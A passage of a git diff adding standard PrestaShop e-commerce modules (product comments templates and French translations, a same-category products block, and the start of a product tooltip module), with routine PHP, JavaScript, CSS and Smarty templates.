LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + + + + {l s='Comments' mod='productcomments'} + + {section loop=$list_ids_product|count step=1 start=0 name=td} + + {/section} + + +{foreach from=$grades item=grade key=grade_id} + + {cycle values='comparison_feature_odd,comparison_feature_even' assign='classname'} + + {$grade} + + + {foreach from=$list_ids_product item=id_product} + {assign var='tab_grade' value=$product_grades[$grade_id]} + + {if isset($tab_grade[$id_product]) AND $tab_grade[$id_product]} + {section loop=6 step=1 start=1 name=average} + + {/section} + {else} + - + {/if} + + {/foreach} + +{/foreach} + + {cycle values='comparison_feature_odd,comparison_feature_even' assign='classname'} + + {l s='Average' mod='productcomments'} +{foreach from=$list_ids_product item=id_product} + + {if isset($list_product_average[$id_product]) AND $list_product_average[$id_product]} + {section loop=6 step=1 start=1 name=average} + + {/section} + {else} + - + {/if} + +{/foreach} + + + +   + {foreach from=$list_ids_product item=id_product} + + {if isset($product_comments[$id_product]) AND $product_comments[$id_product]} + {l s='view comments' mod='productcomments'} + + {else} + - + {/if} + +{/foreach} + \ No newline at end of file diff --git a/modules/productcomments/tab.tpl b/modules/productcomments/tab.tpl new file mode 100755 index 0000000..ccde10c --- /dev/null +++ b/modules/productcomments/tab.tpl @@ -0,0 +1,26 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • {l s='Comments' mod='productcomments'}
      • \ No newline at end of file diff --git a/modules/productcomments/translations/en.php b/modules/productcomments/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/productcomments/translations/fr.php b/modules/productcomments/translations/fr.php new file mode 100755 index 0000000..9b910d9 --- /dev/null +++ b/modules/productcomments/translations/fr.php @@ -0,0 +1,95 @@ +productcommentcriterion_a09ed6c60eb3213939cecb4c580813cd'] = 'Disponible pour le catalogue entier'; +$_MODULE['<{productcomments}prestashop>productcommentcriterion_467366059d7d7c743a4d0971363a8d66'] = 'Restreint à certaines catégories'; +$_MODULE['<{productcomments}prestashop>productcommentcriterion_772911becd336c843ab09a1d4b4f66c0'] = 'Restreint à certains produits'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_fd4b5401d4d3c7d32d158bfc1e552f3b'] = 'Veuillez donner votre nom'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_f88dc17737f7fdd4464b2eb922a8f133'] = 'Une erreur s\'est produite lors de l\'enregistrement de votre commentaire.'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_7fa4a3510dafd0eac6435c19861b2bb7'] = 'Commentaire publié.'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_f8694a9aae2eb045920f613cfa7f1235'] = 'En attente de la validation de la modération.'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_6bf852d9850445291f5e9d4740ac7b50'] = 'Un texte de commentaire est nécessaire.'; +$_MODULE['<{productcomments}prestashop>productcomments-ajax_8aafe254c3e8dceb6425591b322044f2'] = 'Vous devriez attendre %d secondes avant de publier un nouveau commentaire.'; +$_MODULE['<{productcomments}prestashop>productcomments-extra_7c3b0e9898b88deee7ea75aafd2e37e2'] = 'Note moyenne'; +$_MODULE['<{productcomments}prestashop>productcomments-extra_a71a0229e164fecdcde3c4e0f40473fa'] = 'Lire les avis utilisateurs'; +$_MODULE['<{productcomments}prestashop>productcomments-extra_7966126831926ad29c528b239d69f855'] = 'Donnez votre avis'; +$_MODULE['<{productcomments}prestashop>productcomments_b91c4e8b229a399a3bc911d352524a9b'] = 'Commentaires produits'; +$_MODULE['<{productcomments}prestashop>productcomments_9918811c511f3481c085e46c07ab5da8'] = 'Permet aux client de commenter les produits.'; +$_MODULE['<{productcomments}prestashop>productcomments_c888438d14855d7d96a2724ee9c306bd'] = 'Configuration mise à jour'; +$_MODULE['<{productcomments}prestashop>productcomments_1bb54e382f7dbdb260f0aa6b42bb624b'] = 'Critère supprimé'; +$_MODULE['<{productcomments}prestashop>productcomments_e6ea19ae2eb9447f98c7ed74227bb4a3'] = 'Le champ Nom est requis au moins une fois en'; +$_MODULE['<{productcomments}prestashop>productcomments_21b0922096daf5c742cc98986d857cc1'] = 'Critère mis à jour'; +$_MODULE['<{productcomments}prestashop>productcomments_e140a9c4fcfa0aad7af83f65e577c287'] = 'Critère ajouté'; +$_MODULE['<{productcomments}prestashop>productcomments_254f642527b45bc260048e30704edb39'] = 'Configuration'; +$_MODULE['<{productcomments}prestashop>productcomments_9ca2adc05abbe3cc0a659a16fd7d5edc'] = 'Les commentaires doivent être validés par un employé'; +$_MODULE['<{productcomments}prestashop>productcomments_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{productcomments}prestashop>productcomments_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{productcomments}prestashop>productcomments_66b06316f84eb73075bca0e27f2a5581'] = 'Autoriser les commentaires des visiteurs qui n\'ont pas de compte client'; +$_MODULE['<{productcomments}prestashop>productcomments_2e53b6c4c0d39a73718342ab2366ae37'] = 'Temps minimum entre 2 commentaires d\'un même utilisateur'; +$_MODULE['<{productcomments}prestashop>productcomments_783e8e29e6a8c3e22baa58a19420eb4f'] = 'secondes'; +$_MODULE['<{productcomments}prestashop>productcomments_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{productcomments}prestashop>productcomments_0a36c5f3ea6825804e6b4314c4084a12'] = 'Modérer les commentaires'; +$_MODULE['<{productcomments}prestashop>productcomments_a517747c3d12f99244ae598910d979c5'] = 'Auteur'; +$_MODULE['<{productcomments}prestashop>productcomments_0be8406951cdfda82f00f79328cf4efc'] = 'Commentaire'; +$_MODULE['<{productcomments}prestashop>productcomments_df644ae155e79abf54175bd15d75f363'] = 'Nom du produit'; +$_MODULE['<{productcomments}prestashop>productcomments_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; +$_MODULE['<{productcomments}prestashop>productcomments_c4408d335012a56ff58937d78050efad'] = 'Accepter'; +$_MODULE['<{productcomments}prestashop>productcomments_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{productcomments}prestashop>productcomments_8bf0c707232d63bf83b4b2467d2df41a'] = 'Sélection :'; +$_MODULE['<{productcomments}prestashop>productcomments_d00b7f656273a495f555bead0248d6f5'] = 'Aucun commentaire à valider.'; +$_MODULE['<{productcomments}prestashop>productcomments_82bd3dd5eb07bcc37a9649cbb1a5fd33'] = 'Commentaires signalés'; +$_MODULE['<{productcomments}prestashop>productcomments_5e04c941e38f97252e3ed00af80447a2'] = 'Aucun commentaire signalé.'; +$_MODULE['<{productcomments}prestashop>productcomments_7799b301b44c329fc9ec6a3a9c1905e0'] = 'Ajouter un nouveau critère'; +$_MODULE['<{productcomments}prestashop>productcomments_7753ab38f8e113e8af65ab1241331625'] = 'Vous pouvez définir plusieurs critères afin de guider vos clients dans leur commentaire. Par exemple: performance, design etc ...'; +$_MODULE['<{productcomments}prestashop>productcomments_bc58d00e1e42de31a8e58f8dc7d9bdc7'] = 'Vous pouvez ajouter un nouveau critère ci-dessous :'; +$_MODULE['<{productcomments}prestashop>productcomments_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{productcomments}prestashop>productcomments_f255b686708be7c5082cd3f5bab872c1'] = 'Appliquer à'; +$_MODULE['<{productcomments}prestashop>productcomments_4d3d769b812b6faa6b76e1a8abaece2d'] = 'Actif'; +$_MODULE['<{productcomments}prestashop>productcomments_f1d04e02f02d1f13450ae56f213a93f2'] = 'Modifier ce critère'; +$_MODULE['<{productcomments}prestashop>productcomments_9be4d6372a6487e90d8f153c66c1499d'] = 'Ajouter ce critère'; +$_MODULE['<{productcomments}prestashop>productcomments_21a512e9d635e82fc7c7077fc880988b'] = 'Critère'; +$_MODULE['<{productcomments}prestashop>productcomments_a1fa27779242b4902f7ae3bdd5c6d508'] = 'Type'; +$_MODULE['<{productcomments}prestashop>productcomments_ec53a8c4f07baed5d8825072c89799be'] = 'Etat'; +$_MODULE['<{productcomments}prestashop>productcomments_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{productcomments}prestashop>productcomments_8eb0b6ced310b120b12106e8d4bdbdb8'] = 'Gérer le champ d\'action des critères'; +$_MODULE['<{productcomments}prestashop>productcomments_6556e73b0255c988d9fe70141f1d4bd9'] = 'Seuls les critères correspondant à des catégories ou des produits peuvent être configurés ci-dessous:'; +$_MODULE['<{productcomments}prestashop>productcomments_a942d4abf908e5f708ec4dfaa949065e'] = 'Choisissez un critère'; +$_MODULE['<{productcomments}prestashop>productcomments_068f80c7519d0528fb08e82137a72131'] = 'Produits'; +$_MODULE['<{productcomments}prestashop>productcomments_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{productcomments}prestashop>productcomments_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{productcomments}prestashop>productcomments_b9aefa40a54680bb258f9f9569290fae'] = 'Nom du produit'; +$_MODULE['<{productcomments}prestashop>productcomments_99121ab27aaa7472cfada9071c5ba434'] = 'Nom de la catégorie'; +$_MODULE['<{productcomments}prestashop>productcomments_46be1b432f94e9608b015e12c332c67e'] = 'Gérer les commentaires'; +$_MODULE['<{productcomments}prestashop>productcomments_729a51874fe901b092899e9e8b31c97a'] = 'Êtes-vous sûr ?'; +$_MODULE['<{productcomments}prestashop>productcomments_687e376375b560c9261aba93ea5186de'] = 'Aucun commentaire à gérer en ce moment.'; +$_MODULE['<{productcomments}prestashop>productcomments_4494d00c901c9e22ff3b953177205cea'] = 'Êtes-vous sur de vouloir signaler ce commentaire ?'; +$_MODULE['<{productcomments}prestashop>productcomments_4b3b9db8c9784468094acde0f8bf7071'] = 'Note'; +$_MODULE['<{productcomments}prestashop>productcomments_b5c82723bd85856358f9a376bc613998'] = '%1$d personne(s) sur %2$d ont trouvé ce commentaire utile.'; +$_MODULE['<{productcomments}prestashop>productcomments_39630ad6ee79b8653ea89194cdb45bec'] = 'Ce commentaire vous a-t-il été utile ?'; +$_MODULE['<{productcomments}prestashop>productcomments_a6105c0a611b41b08f1209506350279e'] = 'oui'; +$_MODULE['<{productcomments}prestashop>productcomments_7fa3b767c460b54a2be4d49030b349c7'] = 'non'; +$_MODULE['<{productcomments}prestashop>productcomments_28b3b1e564a00f572c5d4e21da986d49'] = 'Reporter un abus'; +$_MODULE['<{productcomments}prestashop>productcomments_fbe2625bf3673be380d043a4bf873f28'] = 'Soyez le premier à donner votre avis'; +$_MODULE['<{productcomments}prestashop>productcomments_08621d00a3a801b9159a11b8bbd69f89'] = 'Aucun commentaire n\'a été publié pour le moment.'; +$_MODULE['<{productcomments}prestashop>productcomments_7966126831926ad29c528b239d69f855'] = 'Donner votre avis'; +$_MODULE['<{productcomments}prestashop>productcomments_b78a3223503896721cca1303f776159b'] = 'Titre'; +$_MODULE['<{productcomments}prestashop>productcomments_221e705c06e231636fdbccfdd14f4d5c'] = 'Votre nom'; +$_MODULE['<{productcomments}prestashop>productcomments_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{productcomments}prestashop>productcomments_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{productcomments}prestashop>productcomments_e81c4e4f2b7b93b481e13a8553c2ae1b'] = 'ou'; +$_MODULE['<{productcomments}prestashop>productcomments_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{productcomments}prestashop>products-comparison_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{productcomments}prestashop>products-comparison_b1897515d548a960afe49ecf66a29021'] = 'Moyenne'; +$_MODULE['<{productcomments}prestashop>products-comparison_bc976f6c3405523cde61f63a7cbe224b'] = 'Voir les avis'; +$_MODULE['<{productcomments}prestashop>tab_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Commentaires'; +$_MODULE['<{productcomments}prestashop>default_607d7adc590bb9a615b6fa5bc8a4f2f6'] = 'ID produit est incorrect'; +$_MODULE['<{productcomments}prestashop>default_7b0bf23ae4079e07a3a4cb4d07e2caef'] = 'Le titre est incorrect'; +$_MODULE['<{productcomments}prestashop>default_ddbd56de5feb78ef1aaf60401f8c472b'] = 'Le commentaire est incorrect'; +$_MODULE['<{productcomments}prestashop>default_1b1030b6294e9096a7d7c40d83d61872'] = 'Le nom est incorrect'; +$_MODULE['<{productcomments}prestashop>default_a95dff703b20b1e705210c39b3865bf0'] = 'Vous devez être connecter afin de poster un commentaire'; +$_MODULE['<{productcomments}prestashop>default_a201fbadca94d310a1b62407cdc775d5'] = 'Vous devez donner une note'; +$_MODULE['<{productcomments}prestashop>default_dfbe69c6d9568ecb0e65e7b32ed92a3a'] = 'Le produit n\'a pas été trouvé'; +$_MODULE['<{productcomments}prestashop>default_6d28f2900adb9e500868166f6d04da92'] = 'Vous devez patienter'; +$_MODULE['<{productcomments}prestashop>default_ba8d7ae5dcadfba739f28a777378f208'] = 'secondes avant de poster un nouveau commentaire'; diff --git a/modules/productcomments/translations/index.php b/modules/productcomments/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productcomments/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productscategory/img/index.php b/modules/productscategory/img/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/productscategory/img/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productscategory/img/thumbs_left.gif b/modules/productscategory/img/thumbs_left.gif new file mode 100755 index 0000000..2830a5f Binary files /dev/null and b/modules/productscategory/img/thumbs_left.gif differ diff --git a/modules/productscategory/img/thumbs_right.gif b/modules/productscategory/img/thumbs_right.gif new file mode 100755 index 0000000..8fc5775 Binary files /dev/null and b/modules/productscategory/img/thumbs_right.gif differ diff --git a/modules/productscategory/index.php b/modules/productscategory/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/productscategory/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/productscategory/logo.gif b/modules/productscategory/logo.gif new file mode 100755 index 0000000..c8d6263 Binary files /dev/null and b/modules/productscategory/logo.gif differ diff --git a/modules/productscategory/logo.png b/modules/productscategory/logo.png new file mode 100755 index 0000000..099541b Binary files /dev/null and b/modules/productscategory/logo.png differ diff --git a/modules/productscategory/productscategory.css b/modules/productscategory/productscategory.css new file mode 100755 index 0000000..6430cb0 --- /dev/null +++ b/modules/productscategory/productscategory.css @@ -0,0 +1,52 @@ +h2.productscategory_h2 { + margin:40px 0 20px 0; + padding:10px 0; + border-bottom:1px solid #ccc; + font-size:18px; + color:#333 +} + +#productscategory {overflow:auto} + +#productscategory_list { + overflow: hidden; + float: left; + width: 96%; +} +#productscategory_list ul { + list-style-type:none; + margin: 0 0 0 14px; +} +#productscategory_list li { + float:left; + margin: 0 9px; + padding: 0 5px; +} + +@media screen and (-webkit-min-device-pixel-ratio:0) { + #productscategory_list li { + margin: 0 7px; + } +} + +#productscategory_list li a.lnk_img {display:block} +#productscategory_list li a img {border:1px solid #ccc} +#productscategory_list li p.product_name {text-align:center} + +#productscategory_noscroll { + height: 120px; + width: 100%; + margin-bottom: 30px; +} + +#productscategory_scroll_left, #productscategory_scroll_right { + background: url('img/thumbs_left.gif') no-repeat center; + text-indent: -3000px; + display: block; + width: 9px; + height: 18px; + float: left; + margin-top: 30px; +} + +#productscategory_scroll_right { background-image: url('img/thumbs_right.gif'); } \ No newline at end of file diff --git a/modules/productscategory/productscategory.js b/modules/productscategory/productscategory.js new file mode 100755 index 0000000..5d22737 --- /dev/null +++ b/modules/productscategory/productscategory.js @@ -0,0 +1,54 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function pc_serialScrollFixLock(event, targeted, scrolled, items, position) +{ + var leftArrow = position == 0 ? true : false; + var rightArrow = position + 5 >= $('#productscategory_list li:visible').length ? true : false; + + $('a#productscategory_scroll_left').css('cursor', leftArrow ? 'default' : 'pointer').fadeTo(0, leftArrow ? 0 : 1); + $('a#productscategory_scroll_right').css('cursor', rightArrow ? 'default' : 'pointer').fadeTo(0, rightArrow ? 0 : 1).css('display', rightArrow ? 'none' : 'block'); + + return true; +} + +$(document).ready(function() +{ + $('#productscategory_list').serialScroll({ + items: 'li', + prev: 'a#productscategory_scroll_left', + next: 'a#productscategory_scroll_right', + axis: 'x', + offset: 0, + stop: true, + onBefore: pc_serialScrollFixLock, + duration: 300, + step: 1, + lazy: true, + lock: false, + force: false, + cycle: false }); + $('#productscategory_list').trigger( 'goto', 0); +}); \ No newline at end of file diff --git a/modules/productscategory/productscategory.php b/modules/productscategory/productscategory.php new file mode 100755 index 0000000..00d394e --- /dev/null +++ b/modules/productscategory/productscategory.php @@ -0,0 +1,180 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class productsCategory extends Module +{ + private $_html; + + public function __construct() + { + $this->name = 'productscategory'; + $this->version = '1.3'; + $this->author = 'PrestaShop'; + $this->tab = 'front_office_features'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Products Category'); + $this->description = $this->l('Display products of the same category on the product page.'); + + if (!$this->isRegisteredInHook('header')) + $this->registerHook('header'); + } + + public function install() + { + if (!parent::install() OR !$this->registerHook('productfooter') OR !$this->registerHook('header') OR !Configuration::updateValue('PRODUCTSCATEGORY_DISPLAY_PRICE', 0)) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall() OR !Configuration::deleteByName('PRODUCTSCATEGORY_DISPLAY_PRICE')) + return false; + return true; + } + + public function getContent() + { + $this->_html = ''; + if (Tools::isSubmit('submitCross') AND Tools::getValue('displayPrice') != 0 AND Tools::getValue('displayPrice') != 1) + $this->_html .= $this->displayError('Invalid displayPrice'); + elseif (Tools::isSubmit('submitCross')) + { + Configuration::updateValue('PRODUCTSCATEGORY_DISPLAY_PRICE', Tools::getValue('displayPrice')); + $this->_html .= $this->displayConfirmation($this->l('Settings updated successfully')); + } + $this->_html .= ' +
        +
        '.$this->l('Settings').' + +
        + + + + +

        '.$this->l('Show the price on the products in the block.').'

        +
        +
        +
        +
        '; + return $this->_html; + } + + private function getCurrentProduct($products, $id_current) + { + if ($products) + foreach ($products AS $key => $product) + if ($product['id_product'] == $id_current) + return $key; + return false; + } + + public function hookProductFooter($params) + { + $idProduct = (int)(Tools::getValue('id_product')); + $product = new Product((int)($idProduct)); + + /* If the visitor has came to this product by a category, use this one */ + if (isset($params['category']->id_category)) + $category = $params['category']; + /* Else, use the default product category */ + else + { + if (isset($product->id_category_default) AND $product->id_category_default > 1) + $category = New Category((int)($product->id_category_default)); + } + + if (!Validate::isLoadedObject($category) OR !$category->active) + return; + + // Get infos + $categoryProducts = $category->getProducts($this->context->language->id, 1, 100); /* 100 products max. */ + $sizeOfCategoryProducts = (int)sizeof($categoryProducts); + $middlePosition = 0; + + // Remove current product from the list + if (is_array($categoryProducts) AND sizeof($categoryProducts)) + { + foreach ($categoryProducts AS $key => $categoryProduct) + if ($categoryProduct['id_product'] == $idProduct) + { + unset($categoryProducts[$key]); + break; + } + + $taxes = Product::getTaxCalculationMethod(); + if (Configuration::get('PRODUCTSCATEGORY_DISPLAY_PRICE')) + foreach ($categoryProducts AS $key => $categoryProduct) + if ($categoryProduct['id_product'] != $idProduct) + { + if ($taxes == 0 OR $taxes == 2) + $categoryProducts[$key]['displayed_price'] = Product::getPriceStatic((int)$categoryProduct['id_product'], true, NULL, 2); + elseif ($taxes == 1) + $categoryProducts[$key]['displayed_price'] = Product::getPriceStatic((int)$categoryProduct['id_product'], false, NULL, 2); + } + + // Get positions + $middlePosition = round($sizeOfCategoryProducts / 2, 0); + $productPosition = $this->getCurrentProduct($categoryProducts, (int)$idProduct); + + // Flip middle product with current product + if ($productPosition) + { + $tmp = $categoryProducts[$middlePosition-1]; + $categoryProducts[$middlePosition-1] = $categoryProducts[$productPosition]; + $categoryProducts[$productPosition] = $tmp; + } + + // If products tab higher than 30, slice it + if ($sizeOfCategoryProducts > 30) + { + $categoryProducts = array_slice($categoryProducts, $middlePosition - 15, 30, true); + $middlePosition = 15; + } + } + + // Display tpl + $this->smarty->assign(array( + 'categoryProducts' => $categoryProducts, + 'middlePosition' => (int)$middlePosition, + 'ProdDisplayPrice' => Configuration::get('PRODUCTSCATEGORY_DISPLAY_PRICE'))); + + return $this->display(__FILE__, 'productscategory.tpl'); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'productscategory.css', 'all'); + $this->context->controller->addJS($this->_path.'productscategory.js'); + $this->context->controller->addJqueryPlugin('serialScroll'); + } +} diff --git a/modules/productscategory/productscategory.tpl b/modules/productscategory/productscategory.tpl new file mode 100755 index 0000000..136630b --- /dev/null +++ b/modules/productscategory/productscategory.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if count($categoryProducts) > 0 && $categoryProducts !== false} +
        +

        {$categoryProducts|@count} {l s='other products in the same category:' mod='productscategory'}

        +
        + {if count($categoryProducts) > 5}{l s='Previous' mod='productscategory'}{/if} +
        +
          5}style="width: {math equation="width * nbImages" width=107 nbImages=$categoryProducts|@count}px"{/if}> + {foreach from=$categoryProducts item='categoryProduct' name=categoryProduct} +
        • + {$categoryProduct.name|htmlspecialchars} +

          + {$categoryProduct.name|truncate:14:'...'|escape:'htmlall':'UTF-8'} +

          + {if $ProdDisplayPrice AND $categoryProduct.show_price == 1 AND !isset($restricted_country_mode) AND !$PS_CATALOG_MODE} +

          + {convertPrice price=$categoryProduct.displayed_price} +

          + {else} +
          + {/if} +
        • + {/foreach} +
        +
        + {if count($categoryProducts) > 5}{l s='Next' mod='productscategory'}{/if} +
        + +
        +{/if} diff --git a/modules/productscategory/translations/fr.php b/modules/productscategory/translations/fr.php new file mode 100755 index 0000000..1b6d0b5 --- /dev/null +++ b/modules/productscategory/translations/fr.php @@ -0,0 +1,17 @@ +productscategory_db33983df8ef521000b0ab60dcb5a83f'] = 'Dans la même catégorie'; +$_MODULE['<{productscategory}prestashop>productscategory_0157084bddd8b408e1cdaba00f54a009'] = 'Affiche la liste des produits dans la même catégorie que celui affiché'; +$_MODULE['<{productscategory}prestashop>productscategory_462390017ab0938911d2d4e964c0cab7'] = 'Paramètres mis à jour avec succès'; +$_MODULE['<{productscategory}prestashop>productscategory_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{productscategory}prestashop>productscategory_b6bf131edd323320bac67303a3f4de8a'] = 'Afficher le prix du produit'; +$_MODULE['<{productscategory}prestashop>productscategory_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{productscategory}prestashop>productscategory_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{productscategory}prestashop>productscategory_70f9a895dc3273d34a7f6d14642708ec'] = 'Afficher le prix du produit dans le block'; +$_MODULE['<{productscategory}prestashop>productscategory_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{productscategory}prestashop>productscategory_4aae87211f77aada2c87907121576cfe'] = 'autres produits dans la même catégorie :'; +$_MODULE['<{productscategory}prestashop>productscategory_dd1f775e443ff3b9a89270713580a51b'] = 'Précédent'; +$_MODULE['<{productscategory}prestashop>productscategory_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Suivant'; diff --git a/modules/productscategory/translations/index.php b/modules/productscategory/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/productscategory/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/producttooltip/index.php b/modules/producttooltip/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/producttooltip/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/producttooltip/logo.gif b/modules/producttooltip/logo.gif new file mode 100755 index 0000000..d893833 Binary files /dev/null and b/modules/producttooltip/logo.gif differ diff --git a/modules/producttooltip/producttooltip.php b/modules/producttooltip/producttooltip.php new file mode 100755 index 0000000..45c8697 --- /dev/null +++ b/modules/producttooltip/producttooltip.php @@ -0,0 +1,193 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ProductToolTip extends Module +{ + public function __construct() + { + $this->name = 'producttooltip'; + $this->tab = 'front_office_features'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Product 